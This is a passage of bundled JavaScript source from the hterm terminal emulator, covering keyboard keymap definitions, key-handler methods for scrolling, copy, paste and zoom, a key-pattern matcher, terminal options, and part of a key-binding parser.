[27, '[ESC]', ESC, DEFAULT, DEFAULT, DEFAULT], [112, '[F1]', mod(SS3 + 'P', CSI + 'P'), DEFAULT, CSI + "23~", DEFAULT], [113, '[F2]', mod(SS3 + 'Q', CSI + 'Q'), DEFAULT, CSI + "24~", DEFAULT], [114, '[F3]', mod(SS3 + 'R', CSI + 'R'), DEFAULT, CSI + "25~", DEFAULT], [115, '[F4]', mod(SS3 + 'S', CSI + 'S'), DEFAULT, CSI + "26~", DEFAULT], [116, '[F5]', CSI + '15~', DEFAULT, CSI + "28~", DEFAULT], [117, '[F6]', CSI + '17~', DEFAULT, CSI + "29~", DEFAULT], [118, '[F7]', CSI + '18~', DEFAULT, CSI + "31~", DEFAULT], [119, '[F8]', CSI + '19~', DEFAULT, CSI + "32~", DEFAULT], [120, '[F9]', CSI + '20~', DEFAULT, CSI + "33~", DEFAULT], [121, '[F10]', CSI + '21~', DEFAULT, CSI + "34~", DEFAULT], [122, '[F11]', c('onF11_'), DEFAULT, CSI + "42~", DEFAULT], [123, '[F12]', CSI + '24~', DEFAULT, CSI + "43~", DEFAULT],// Second row.
[192, '`~', DEFAULT, sh(ctl('@'), ctl('^')), DEFAULT, PASS], [49, '1!', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [50, '2@', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [51, '3#', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [52, '4$', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [53, '5%', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [54, '6^', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [55, '7&', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [56, '8*', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [57, '9(', DEFAULT, c('onCtrlNum_'), c('onAltNum_'), c('onMetaNum_')], [48, '0)', DEFAULT, c('onPlusMinusZero_'), c('onAltNum_'), c('onPlusMinusZero_')], [keycapMU, '-_', DEFAULT, c('onPlusMinusZero_'), DEFAULT, c('onPlusMinusZero_')], [keycapEP, '=+', DEFAULT, c('onPlusMinusZero_'), DEFAULT, c('onPlusMinusZero_')], [8, '[BKSP]', bs('\x7f', '\b'), bs('\b', '\x7f'), DEFAULT, DEFAULT],// Third row.
[9, '[TAB]', sh('\t', CSI + 'Z'), STRIP, PASS, DEFAULT], [81, 'qQ', DEFAULT, ctl('Q'), DEFAULT, DEFAULT], [87, 'wW', DEFAULT, ctl('W'), DEFAULT, DEFAULT], [69, 'eE', DEFAULT, ctl('E'), DEFAULT, DEFAULT], [82, 'rR', DEFAULT, ctl('R'), DEFAULT, DEFAULT], [84, 'tT', DEFAULT, ctl('T'), DEFAULT, DEFAULT], [89, 'yY', DEFAULT, ctl('Y'), DEFAULT, DEFAULT], [85, 'uU', DEFAULT, ctl('U'), DEFAULT, DEFAULT], [73, 'iI', DEFAULT, ctl('I'), DEFAULT, DEFAULT], [79, 'oO', DEFAULT, ctl('O'), DEFAULT, DEFAULT], [80, 'pP', DEFAULT, ctl('P'), DEFAULT, DEFAULT], [219, '[{', DEFAULT, ctl('['), DEFAULT, DEFAULT], [221, ']}', DEFAULT, ctl(']'), DEFAULT, DEFAULT], [220, '\\|', DEFAULT, ctl('\\'), DEFAULT, DEFAULT],// Fourth row. (We let Ctrl-Shift-J pass for Chrome DevTools.)
[20, '[CAPS]', PASS, PASS, PASS, DEFAULT], [65, 'aA', DEFAULT, ctl('A'), DEFAULT, DEFAULT], [83, 'sS', DEFAULT, ctl('S'), DEFAULT, DEFAULT], [68, 'dD', DEFAULT, ctl('D'), DEFAULT, DEFAULT], [70, 'fF', DEFAULT, ctl('F'), DEFAULT, DEFAULT], [71, 'gG', DEFAULT, ctl('G'), DEFAULT, DEFAULT], [72, 'hH', DEFAULT, ctl('H'), DEFAULT, DEFAULT], [74, 'jJ', DEFAULT, sh(ctl('J'), PASS), DEFAULT, DEFAULT], [75, 'kK', DEFAULT, sh(ctl('K'), c('onClear_')), DEFAULT, DEFAULT], [76, 'lL', DEFAULT, sh(ctl('L'), PASS), DEFAULT, DEFAULT], [keycapSC, ';:', DEFAULT, STRIP, DEFAULT, DEFAULT], [222, '\'"', DEFAULT, STRIP, DEFAULT, DEFAULT], [13, '[ENTER]', '\r', CANCEL, CANCEL, DEFAULT],// Fifth row.  This includes the copy/paste shortcuts.  On some
// platforms it's Ctrl-C/V, on others it's Meta-C/V.  We assume either
// Ctrl-C/Meta-C should pass to the browser when there is a selection,
// and Ctrl-Shift-V/Meta-*-V should always pass to the browser (since
// these seem to be recognized as paste too).
[16, '[SHIFT]', PASS, PASS, PASS, DEFAULT], [90, 'zZ', DEFAULT, ctl('Z'), DEFAULT, DEFAULT], [88, 'xX', DEFAULT, ctl('X'), DEFAULT, DEFAULT], [67, 'cC', DEFAULT, c('onCtrlC_'), DEFAULT, c('onMetaC_')], [86, 'vV', DEFAULT, c('onCtrlV_'), DEFAULT, c('onMetaV_')], [66, 'bB', DEFAULT, sh(ctl('B'), PASS), DEFAULT, sh(DEFAULT, PASS)], [78, 'nN', DEFAULT, c('onCtrlN_'), DEFAULT, c('onMetaN_')], [77, 'mM', DEFAULT, ctl('M'), DEFAULT, DEFAULT], [188, ',<', DEFAULT, alt(STRIP, PASS), DEFAULT, DEFAULT], [190, '.>', DEFAULT, alt(STRIP, PASS), DEFAULT, DEFAULT], [191, '/?', DEFAULT, sh(ctl('_'), ctl('?')), DEFAULT, DEFAULT],// Sixth and final row.
[17, '[CTRL]', PASS, PASS, PASS, PASS], [18, '[ALT]', PASS, PASS, PASS, PASS], [91, '[LAPL]', PASS, PASS, PASS, PASS], [32, ' ', DEFAULT, ctl('@'), DEFAULT, DEFAULT], [92, '[RAPL]', PASS, PASS, PASS, PASS], [93, '[RMENU]', PASS, PASS, PASS, PASS],// These things.
[42, '[PRTSCR]', PASS, PASS, PASS, PASS], [145, '[SCRLK]', PASS, PASS, PASS, PASS], [19, '[BREAK]', PASS, PASS, PASS, PASS],// The block of six keys above the arrows.
[45, '[INSERT]', c('onKeyInsert_'), DEFAULT, DEFAULT, DEFAULT], [36, '[HOME]', c('onKeyHome_'), DEFAULT, DEFAULT, DEFAULT], [33, '[PGUP]', c('onKeyPageUp_'), DEFAULT, DEFAULT, DEFAULT], [46, '[DEL]', c('onKeyDel_'), DEFAULT, DEFAULT, DEFAULT], [35, '[END]', c('onKeyEnd_'), DEFAULT, DEFAULT, DEFAULT], [34, '[PGDOWN]', c('onKeyPageDown_'), DEFAULT, DEFAULT, DEFAULT],// Arrow keys.  When unmodified they respect the application cursor state,
// otherwise they always send the CSI codes.
[38, '[UP]', c('onKeyArrowUp_'), DEFAULT, DEFAULT, DEFAULT], [40, '[DOWN]', c('onKeyArrowDown_'), DEFAULT, DEFAULT, DEFAULT], [39, '[RIGHT]', ac(CSI + 'C', SS3 + 'C'), DEFAULT, DEFAULT, DEFAULT], [37, '[LEFT]', ac(CSI + 'D', SS3 + 'D'), DEFAULT, DEFAULT, DEFAULT], [144, '[NUMLOCK]', PASS, PASS, PASS, PASS],// On Apple keyboards, the NumLock key is a Clear key.  It also tends to be
// what KP5 sends when numlock is off.  Not clear if we could do anything
// useful with it, so just pass it along.
[12, '[CLEAR]', PASS, PASS, PASS, PASS],// With numlock off, the keypad generates the same key codes as the arrows
// and 'block of six' for some keys, and null key codes for the rest.
// Keypad with numlock on generates unique key codes...
[96, '[KP0]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [97, '[KP1]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [98, '[KP2]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [99, '[KP3]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [100, '[KP4]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [101, '[KP5]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [102, '[KP6]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [103, '[KP7]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [104, '[KP8]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [105, '[KP9]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [107, '[KP+]', DEFAULT, c('onPlusMinusZero_'), DEFAULT, c('onPlusMinusZero_')], [109, '[KP-]', DEFAULT, c('onPlusMinusZero_'), DEFAULT, c('onPlusMinusZero_')], [106, '[KP*]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [111, '[KP/]', DEFAULT, DEFAULT, DEFAULT, DEFAULT], [110, '[KP.]', DEFAULT, DEFAULT, DEFAULT, DEFAULT]);// OS-specific differences.
if (hterm.os == 'cros') {
this.addKeyDefs(// Chrome OS keyboard top row.  The media-keys-are-fkeys preference allows
// users to make these always behave as function keys (see those bindings
// above for more details).
[166, '[BACK]', med(mod(SS3 + 'P', CSI + 'P')), DEFAULT, CSI + '23~', DEFAULT],// F1
[167, '[FWD]', med(mod(SS3 + 'Q', CSI + 'Q')), DEFAULT, CSI + '24~', DEFAULT],// F2
[168, '[RELOAD]', med(mod(SS3 + 'R', CSI + 'R')), DEFAULT, CSI + '25~', DEFAULT],// F3
[183, '[FSCR]', med(mod(SS3 + 'S', CSI + 'S')), DEFAULT, CSI + '26~', DEFAULT],// F4
[182, '[WINS]', med(CSI + '15~'), DEFAULT, CSI + '28~', DEFAULT],// F5
[216, '[BRIT-]', med(CSI + '17~'), DEFAULT, CSI + '29~', DEFAULT],// F6
[217, '[BRIT+]', med(CSI + '18~'), DEFAULT, CSI + '31~', DEFAULT],// F7
[173, '[MUTE]', med(CSI + '19~'), DEFAULT, CSI + '32~', DEFAULT],// F8
[174, '[VOL-]', med(CSI + '20~'), DEFAULT, CSI + '33~', DEFAULT],// F9
[175, '[VOL+]', med(CSI + '21~'), DEFAULT, CSI + '34~', DEFAULT],// F10
// We could make this into F11, but it'd be a bit weird.  Chrome allows us
// to see this and react, but it doesn't actually allow us to block or
// cancel it, so it makes the screen flash/lock still.
[152, '[POWER]', DEFAULT, DEFAULT, DEFAULT, DEFAULT],// The Pixelbook has a slightly different layout.  This means half the keys
// above are off by one.  https://crbug.com/807513
[179, '[PLAY]', med(CSI + '18~'), DEFAULT, CSI + '31~', DEFAULT],// F7
// The settings / hamburgers / three hot dogs / menu / whatever-it's-called.
[154, '[DOGS]', med(CSI + '23~'), DEFAULT, CSI + '42~', DEFAULT],// F11
// We don't use this for anything, but keep it from popping up by default.
[153, '[ASSIST]', DEFAULT, DEFAULT, DEFAULT, DEFAULT]);
}
};/**
* Either allow the paste or send a key sequence.
*/hterm.Keyboard.KeyMap.prototype.onKeyInsert_ = function (e) { if (this.keyboard.shiftInsertPaste && e.shiftKey) return hterm.Keyboard.KeyActions.PASS; return '\x1b[2~'; };/**
* Either scroll the scrollback buffer or send a key sequence.
*/hterm.Keyboard.KeyMap.prototype.onKeyHome_ = function (e) { if (!this.keyboard.homeKeysScroll ^ e.shiftKey) { if (e.altey || e.ctrlKey || e.shiftKey || !this.keyboard.applicationCursor) { return '\x1b[H'; } return '\x1bOH'; } this.keyboard.terminal.scrollHome(); return hterm.Keyboard.KeyActions.CANCEL; };/**
* Either scroll the scrollback buffer or send a key sequence.
*/hterm.Keyboard.KeyMap.prototype.onKeyEnd_ = function (e) { if (!this.keyboard.homeKeysScroll ^ e.shiftKey) { if (e.altKey || e.ctrlKey || e.shiftKey || !this.keyboard.applicationCursor) { return '\x1b[F'; } return '\x1bOF'; } this.keyboard.terminal.scrollEnd(); return hterm.Keyboard.KeyActions.CANCEL; };/**
* Either scroll the scrollback buffer or send a key sequence.
*/hterm.Keyboard.KeyMap.prototype.onKeyPageUp_ = function (e) { if (!this.keyboard.pageKeysScroll ^ e.shiftKey) return '\x1b[5~'; this.keyboard.terminal.scrollPageUp(); return hterm.Keyboard.KeyActions.CANCEL; };/**
* Either send a true DEL, or sub in meta-backspace.
*
* On Chrome OS, if we know the alt key is down, but we get a DEL event that
* claims that the alt key is not pressed, we know the DEL was a synthetic
* one from a user that hit alt-backspace. Based on a user pref, we can sub
* in meta-backspace in this case.
*/hterm.Keyboard.KeyMap.prototype.onKeyDel_ = function (e) { if (this.keyboard.altBackspaceIsMetaBackspace && this.keyboard.altKeyPressed && !e.altKey) return '\x1b\x7f'; return '\x1b[3~'; };/**
* Either scroll the scrollback buffer or send a key sequence.
*/hterm.Keyboard.KeyMap.prototype.onKeyPageDown_ = function (e) { if (!this.keyboard.pageKeysScroll ^ e.shiftKey) return '\x1b[6~'; this.keyboard.terminal.scrollPageDown(); return hterm.Keyboard.KeyActions.CANCEL; };/**
* Either scroll the scrollback buffer or send a key sequence.
*/hterm.Keyboard.KeyMap.prototype.onKeyArrowUp_ = function (e) { if (!this.keyboard.applicationCursor && e.shiftKey) { this.keyboard.terminal.scrollLineUp(); return hterm.Keyboard.KeyActions.CANCEL; } return e.shiftKey || e.ctrlKey || e.altKey || e.metaKey || !this.keyboard.applicationCursor ? '\x1b[A' : '\x1bOA'; };/**
* Either scroll the scrollback buffer or send a key sequence.
*/hterm.Keyboard.KeyMap.prototype.onKeyArrowDown_ = function (e) { if (!this.keyboard.applicationCursor && e.shiftKey) { this.keyboard.terminal.scrollLineDown(); return hterm.Keyboard.KeyActions.CANCEL; } return e.shiftKey || e.ctrlKey || e.altKey || e.metaKey || !this.keyboard.applicationCursor ? '\x1b[B' : '\x1bOB'; };/**
* Clear the primary/alternate screens and the scrollback buffer.
*/hterm.Keyboard.KeyMap.prototype.onClear_ = function (e, keyDef) { this.keyboard.terminal.wipeContents(); return hterm.Keyboard.KeyActions.CANCEL; };/**
* Handle F11 behavior (fullscreen) when not in a window.
*
* It would be nice to use the Fullscreen API, but the UX is slightly different
* a bad way: the Escape key is automatically registered for exiting.  If we let
* the browser handle F11 directly though, we still get to capture Escape.
*/hterm.Keyboard.KeyMap.prototype.onF11_ = function (e, keyDef) { if (hterm.windowType != 'popup') return hterm.Keyboard.KeyActions.PASS; else return '\x1b[23~'; };/**
* Either pass Ctrl-1..9 to the browser or send them to the host.
*
* Note that Ctrl-1 and Ctrl-9 don't actually have special sequences mapped
* to them in xterm or gnome-terminal.  The range is really Ctrl-2..8, but
* we handle 1..9 since Chrome treats the whole range special.
*/hterm.Keyboard.KeyMap.prototype.onCtrlNum_ = function (e, keyDef) {// Compute a control character for a given character.
function ctl(ch) { return String.fromCharCode(ch.charCodeAt(0) - 64); } if (this.keyboard.terminal.passCtrlNumber && !e.shiftKey) return hterm.Keyboard.KeyActions.PASS; switch (keyDef.keyCap.substr(0, 1)) { case '1': return '1'; case '2': return ctl('@'); case '3': return ctl('['); case '4': return ctl('\\'); case '5': return ctl(']'); case '6': return ctl('^'); case '7': return ctl('_'); case '8': return '\x7f'; case '9': return '9'; }
};/**
* Either pass Alt-1..9 to the browser or send them to the host.
*/hterm.Keyboard.KeyMap.prototype.onAltNum_ = function (e, keyDef) { if (this.keyboard.terminal.passAltNumber && !e.shiftKey) return hterm.Keyboard.KeyActions.PASS; return hterm.Keyboard.KeyActions.DEFAULT; };/**
* Either pass Meta-1..9 to the browser or send them to the host.
*/hterm.Keyboard.KeyMap.prototype.onMetaNum_ = function (e, keyDef) { if (this.keyboard.terminal.passMetaNumber && !e.shiftKey) return hterm.Keyboard.KeyActions.PASS; return hterm.Keyboard.KeyActions.DEFAULT; };/**
* Either send a ^C or interpret the keystroke as a copy command.
*/hterm.Keyboard.KeyMap.prototype.onCtrlC_ = function (e, keyDef) {
var selection = this.keyboard.terminal.getDocument().getSelection(); if (!selection.isCollapsed) {
if (this.keyboard.ctrlCCopy && !e.shiftKey) {// Ctrl-C should copy if there is a selection, send ^C otherwise.
// Perform the copy by letting the browser handle Ctrl-C.  On most
// browsers, this is the *only* way to place text on the clipboard from
// the 'drive-by' web.
if (this.keyboard.terminal.clearSelectionAfterCopy) { setTimeout(selection.collapseToEnd.bind(selection), 50); } return hterm.Keyboard.KeyActions.PASS;
} if (!this.keyboard.ctrlCCopy && e.shiftKey) {// Ctrl-Shift-C should copy if there is a selection, send ^C otherwise.
// Perform the copy manually.  This only works in situations where
// document.execCommand('copy') is allowed.
if (this.keyboard.terminal.clearSelectionAfterCopy) { setTimeout(selection.collapseToEnd.bind(selection), 50); } this.keyboard.terminal.copySelectionToClipboard(); return hterm.Keyboard.KeyActions.CANCEL;
}
} return '\x03';
};/**
* Either send a ^N or open a new window to the same location.
*/hterm.Keyboard.KeyMap.prototype.onCtrlN_ = function (e, keyDef) { if (e.shiftKey) { window.open(document.location.href, '', 'chrome=no,close=yes,resize=yes,scrollbars=yes,' + 'minimizable=yes,width=' + window.innerWidth + ',height=' + window.innerHeight); return hterm.Keyboard.KeyActions.CANCEL; } return '\x0e'; };/**
* Either send a ^V or issue a paste command.
*
* The default behavior is to paste if the user presses Ctrl-Shift-V, and send
* a ^V if the user presses Ctrl-V. This can be flipped with the
* 'ctrl-v-paste' preference.
*
*/hterm.Keyboard.KeyMap.prototype.onCtrlV_ = function (e, keyDef) {
if (!e.shiftKey && this.keyboard.ctrlVPaste || e.shiftKey && !this.keyboard.ctrlVPaste) {// We try to do the pasting ourselves as not all browsers/OSs bind Ctrl-V to
// pasting.  Notably, on macOS, Ctrl-V/Ctrl-Shift-V do nothing.
// However, this might run into web restrictions, so if it fails, we still
// fallback to the letting the native behavior (hopefully) save us.
if (this.keyboard.terminal.paste()) return hterm.Keyboard.KeyActions.CANCEL; else return hterm.Keyboard.KeyActions.PASS;
} return '\x16';
};/**
* Either the default action or open a new window to the same location.
*/hterm.Keyboard.KeyMap.prototype.onMetaN_ = function (e, keyDef) { if (e.shiftKey) { window.open(document.location.href, '', 'chrome=no,close=yes,resize=yes,scrollbars=yes,' + 'minimizable=yes,width=' + window.outerWidth + ',height=' + window.outerHeight); return hterm.Keyboard.KeyActions.CANCEL; } return hterm.Keyboard.KeyActions.DEFAULT; };/**
* Either send a Meta-C or allow the browser to interpret the keystroke as a
* copy command.
*
* If there is no selection, or if the user presses Meta-Shift-C, then we'll
* transmit an '\x1b' (if metaSendsEscape is on) followed by 'c' or 'C'.
*
* If there is a selection, we defer to the browser.  In this case we clear out
* the selection so the user knows we heard them, and also to give them a
* chance to send a Meta-C by just hitting the key again.
*/hterm.Keyboard.KeyMap.prototype.onMetaC_ = function (e, keyDef) {
var document = this.keyboard.terminal.getDocument(); if (e.shiftKey || document.getSelection().isCollapsed) {// If the shift key is being held, or there is no document selection, send
// a Meta-C.  The keyboard code will add the ESC if metaSendsEscape is true,
// we just have to decide between 'c' and 'C'.
return keyDef.keyCap.substr(e.shiftKey ? 1 : 0, 1);
}// Otherwise let the browser handle it as a copy command.
if (this.keyboard.terminal.clearSelectionAfterCopy) { setTimeout(function () { document.getSelection().collapseToEnd(); }, 50); } return hterm.Keyboard.KeyActions.PASS;
};/**
* Either PASS or DEFAULT Meta-V, depending on preference.
*
* Always PASS Meta-Shift-V to allow browser to interpret the keystroke as
* a paste command.
*/hterm.Keyboard.KeyMap.prototype.onMetaV_ = function (e, keyDef) { if (e.shiftKey) return hterm.Keyboard.KeyActions.PASS; return this.keyboard.passMetaV ? hterm.Keyboard.KeyActions.PASS : hterm.Keyboard.KeyActions.DEFAULT; };/**
* Handle font zooming.
*
* The browser's built-in zoom has a bit of an issue at certain zoom levels.
* At some magnifications, the measured height of a row of text differs from
* the height that was explicitly set.
*
* We override the browser zoom keys to change the ScrollPort's font size to
* avoid the issue.
*/hterm.Keyboard.KeyMap.prototype.onPlusMinusZero_ = function (e, keyDef) {
if (!(this.keyboard.ctrlPlusMinusZeroZoom ^ e.shiftKey)) {// If ctrl-PMZ controls zoom and the shift key is pressed, or
// ctrl-shift-PMZ controls zoom and this shift key is not pressed,
// then we want to send the control code instead of affecting zoom.
if (keyDef.keyCap == '-_') return '\x1f';// ^_
// Only ^_ is valid, the other sequences have no meaning.
return hterm.Keyboard.KeyActions.CANCEL;
} if (this.keyboard.terminal.getZoomFactor() != 1) {// If we're not at 1:1 zoom factor, let the Ctrl +/-/0 keys control the
// browser zoom, so it's easier to for the user to get back to 100%.
return hterm.Keyboard.KeyActions.PASS;
} var cap = keyDef.keyCap.substr(0, 1); if (cap == '0') { this.keyboard.terminal.setFontSize(0); } else { var size = this.keyboard.terminal.getFontSize(); if (cap == '-' || keyDef.keyCap == '[KP-]') { size -= 1; } else { size += 1; } this.keyboard.terminal.setFontSize(size); } return hterm.Keyboard.KeyActions.CANCEL;
};// SOURCE FILE: hterm/js/hterm_keyboard_keypattern.js
// Copyright (c) 2015 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* A record of modifier bits and keycode used to define a key binding.
*
* The modifier names are enumerated in the static KeyPattern.modifiers
* property below.  Each modifier can be true, false, or "*".  True means
* the modifier key must be present, false means it must not, and "*" means
* it doesn't matter.
*/hterm.Keyboard.KeyPattern = function (spec) { this.wildcardCount = 0; this.keyCode = spec.keyCode; hterm.Keyboard.KeyPattern.modifiers.forEach(function (mod) { this[mod] = spec[mod] || false; if (this[mod] == '*') this.wildcardCount++; }.bind(this)); };/**
* Valid modifier names.
*/hterm.Keyboard.KeyPattern.modifiers = ['shift', 'ctrl', 'alt', 'meta'];/**
* A compare callback for Array.prototype.sort().
*
* The bindings code wants to be sure to search through the strictest key
* patterns first, so that loosely defined patterns have a lower priority than
* exact patterns.
*
* @param {hterm.Keyboard.KeyPattern} a
* @param {hterm.Keyboard.KeyPattern} b
*/hterm.Keyboard.KeyPattern.sortCompare = function (a, b) { if (a.wildcardCount < b.wildcardCount) return -1; if (a.wildcardCount > b.wildcardCount) return 1; return 0; };/**
* Private method used to match this key pattern against other key patterns
* or key down events.
*
* @param {Object} The object to match.
* @param {boolean} True if we should ignore wildcards.  Useful when you want
*   to perform and exact match against another key pattern.
*/hterm.Keyboard.KeyPattern.prototype.match_ = function (obj, exactMatch) { if (this.keyCode != obj.keyCode) return false; var rv = true; hterm.Keyboard.KeyPattern.modifiers.forEach(function (mod) { var modValue = mod in obj ? obj[mod] : false; if (!rv || !exactMatch && this[mod] == '*' || this[mod] == modValue) return; rv = false; }.bind(this)); return rv; };/**
* Return true if the given keyDown object is a match for this key pattern.
*
* @param {Object} keyDown An object with a keyCode property and zero or
*   more boolean properties representing key modifiers.  These property names
*   must match those defined in hterm.Keyboard.KeyPattern.modifiers.
*/hterm.Keyboard.KeyPattern.prototype.matchKeyDown = function (keyDown) { return this.match_(keyDown, false); };/**
* Return true if the given hterm.Keyboard.KeyPattern is exactly the same as
* this one.
*
* @param {hterm.Keyboard.KeyPattern}
*/hterm.Keyboard.KeyPattern.prototype.matchKeyPattern = function (keyPattern) { return this.match_(keyPattern, true); };// SOURCE FILE: hterm/js/hterm_options.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* @fileoverview This file implements the hterm.Options class,
* which stores current operating conditions for the terminal.  This object is
* used instead of a series of parameters to allow saving/restoring of cursor
* conditions easily, and to provide an easy place for common configuration
* options.
*
* Original code by Cory Maccarrone.
*//**
* Constructor for the hterm.Options class, optionally acting as a copy
* constructor.
*
* The defaults are as defined in http://www.vt100.net/docs/vt510-rm/DECSTR
* except that we enable autowrap (wraparound) by default since that seems to
* be what xterm does.
*
* @param {hterm.Options=} opt_copy Optional instance to copy.
* @constructor
*/hterm.Options = function (opt_copy) {// All attributes in this class are public to allow easy access by the
// terminal.
this.wraparound = opt_copy ? opt_copy.wraparound : true; this.reverseWraparound = opt_copy ? opt_copy.reverseWraparound : false; this.originMode = opt_copy ? opt_copy.originMode : false; this.autoCarriageReturn = opt_copy ? opt_copy.autoCarriageReturn : false; this.cursorVisible = opt_copy ? opt_copy.cursorVisible : false; this.cursorBlink = opt_copy ? opt_copy.cursorBlink : false; this.insertMode = opt_copy ? opt_copy.insertMode : false; this.reverseVideo = opt_copy ? opt_copy.reverseVideo : false; this.bracketedPaste = opt_copy ? opt_copy.bracketedPaste : false;
};// SOURCE FILE: hterm/js/hterm_parser.js
// Copyright (c) 2015 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('hterm.Keyboard.KeyActions');/**
* @constructor
* Parses the key definition syntax used for user keyboard customizations.
*/hterm.Parser = function () {/**
* @type {string} The source string.
*/this.source = '';/**
* @type {number} The current position.
*/this.pos = 0;/**
* @type {string?} The character at the current position.
*/this.ch = null;
}; hterm.Parser.prototype.error = function (message) { return new Error('Parse error at ' + this.pos + ': ' + message); }; hterm.Parser.prototype.isComplete = function () { return this.pos == this.source.length; }; hterm.Parser.prototype.reset = function (source, opt_pos) { this.source = source; this.pos = opt_pos || 0; this.ch = source.substr(0, 1); };/**
* Parse a key sequence.
*
* A key sequence is zero or more of the key modifiers defined in
* hterm.Parser.identifiers.modifierKeys followed by a key code.  Key
* codes can be an integer or an identifier from
* hterm.Parser.identifiers.keyCodes.  Modifiers and keyCodes should be joined
* by the dash character.
*
* An asterisk "*" can be used to indicate that the unspecified modifiers
* are optional.
*
* For example:
*   A: Matches only an unmodified "A" character.
*   65: Same as above.
*   0x41: Same as above.
*   Ctrl-A: Matches only Ctrl-A.
*   Ctrl-65: Same as above.
*   Ctrl-0x41: Same as above.
*   Ctrl-Shift-A: Matches only Ctrl-Shift-A.
*   Ctrl-*-A: Matches Ctrl-A, as well as any other key sequence that includes
*     at least the Ctrl and A keys.
*
* @return {Object} An object with shift, ctrl, alt, meta, keyCode
*   properties.
*/hterm.Parser.prototype.parseKeySequence = function () { var rv = { keyCode: null }; for (var k in hterm.Parser.identifiers.modifierKeys) { rv[hterm.Parser.identifiers.modifierKeys[k]] = false; } while (this.pos < this.source.length) { this.skipSpace(); var token = this.parseToken(); if (token.type == 'integer') { rv.keyCode = token.value; } else if (token.type == 'identifier') { var ucValue = token.value.toUpperCase(); if (ucValue in hterm.Parser.identifiers.modifierKeys && hterm.Parser.identifiers.modifierKeys.hasOwnProperty(ucValue)) { var mod = hterm.Parser.identifiers.modifierKeys[ucValue]; if (rv[mod] && rv[mod] != '*') throw this.error('Duplicate modifier: ' + token.value); rv[mod] = true; } else if (ucValue in hterm.Parser.identifiers.keyCodes && hterm.Parser.identifiers.keyCodes.hasOwnProperty(ucValue)) { rv.keyCode = hterm.Parser.identifiers.keyCodes[ucValue]; } else { throw this.error('Unknown key: ' + token.value); } } else if (token.type == 'symbol') { if (token.value == '*') { for (var id in hterm.Parser.identifiers.modifierKeys) { var p = hterm.Parser.identifiers.modifierKeys[id]; if (!rv[p]) rv[p] = '*'; } } else { throw this.error('Unexpected symbol: ' + token.value); } } else { throw this.error('Expected integer or identifier'); } this.skipSpace(); if (this.ch != '-') break; if (rv.keyCode != null) throw this.error('Extra definition after target key'); this.advance(1); } if (rv.keyCode == null) throw this.error('Missing target key'); return rv; }; hterm.Parser.prototype.parseKeyAction = function () { this.skipSpace(); var token = this.parseToken(); if (token.type == 'string') return token.value; if (token.type == 'identifier') { if (token.value in hterm.Parser.identifiers.actions && hterm.Parser.identifiers.actions.hasOwnProperty(token.value)) return hterm.Parser.identifiers.actions[token.value]; throw this.error('Unknown key action: ' + token.value); } throw this.error('Expected string or identifier'); }; hterm.Parser.prototype.peekString = function () { return this.ch == '\'' || this.ch == '"'; }; hterm.Parser.prototype.peekIdentifier = function () { return this.ch.match(/[a-z_]/i); }; hterm.Parser.prototype.peekInteger = function () { return this.ch.match(/[0-9]/); }; hterm.Parser.prototype.parseToken = function () { if (this.ch == '*') { var rv = { type: 'symbol', value: this.ch }; this.advance(1); return rv; } if (this.peekIdentifier()) return { type: 'identifier', value: this.parseIdentifier() }; if (this.peekString()) return { type: 'string', value: this.parseString() }; if (this.peekInteger()) return { type: 'integer', value: this.parseInteger() }; throw this.error('Unexpected token'); }; hterm.Parser.prototype.parseIdentifier = function () { if (!this.peekIdentifier()) throw this.error('Expected identifier'); return this.parsePattern(/[a-z0-9_]+/ig); }; hterm.Parser.prototype.parseInteger = function () { var base = 10; if (this.ch == '0' && this.pos < this.source.length - 1 && this.source.substr(this.pos + 1, 1) == 'x') { return parseInt(this.parsePattern(/0x[0-9a-f]+/gi)); } return parseInt(this.parsePattern(/\d+/g)); };/**
* Parse a single or double quoted string.
*
* The current position should point at the initial quote character.  Single
* quoted strings will be treated literally, double quoted will process escapes.
*
* TODO(rginda): Variable interpolation.
*
* @param {ParseState} parseState
* @param {string} quote A single or double-quote character.
* @return {string}
*/hterm.Parser.prototype.parseString = function () { var result = ''; var quote = this.ch; if (quote != '"' && quote != '\'') throw this.error('String expected'); this.advance(1); var re = new RegExp('[\\\\' + quote + ']', 'g'); while (this.pos < this.source.length) { re.lastIndex = this.pos; if (!re.exec(this.source)) throw this.error('Unterminated string literal'); result += this.source.substring(this.pos, re.lastIndex - 1); this.advance(re.lastIndex - this.pos - 1); if (quote == '"' && this.ch == '\\') { this.advance(1); result += this.parseEscape(); continue; } if (quote == '\'' && this.ch == '\\') { result += this.ch; this.advance(1); continue; } if (this.ch == quote) { this.advance(1); return result; } } throw this.error('Unterminated string literal'); };/**
* Parse an escape code from the current position (which should point to
* the first character AFTER the leading backslash.)
*
* @return {string}
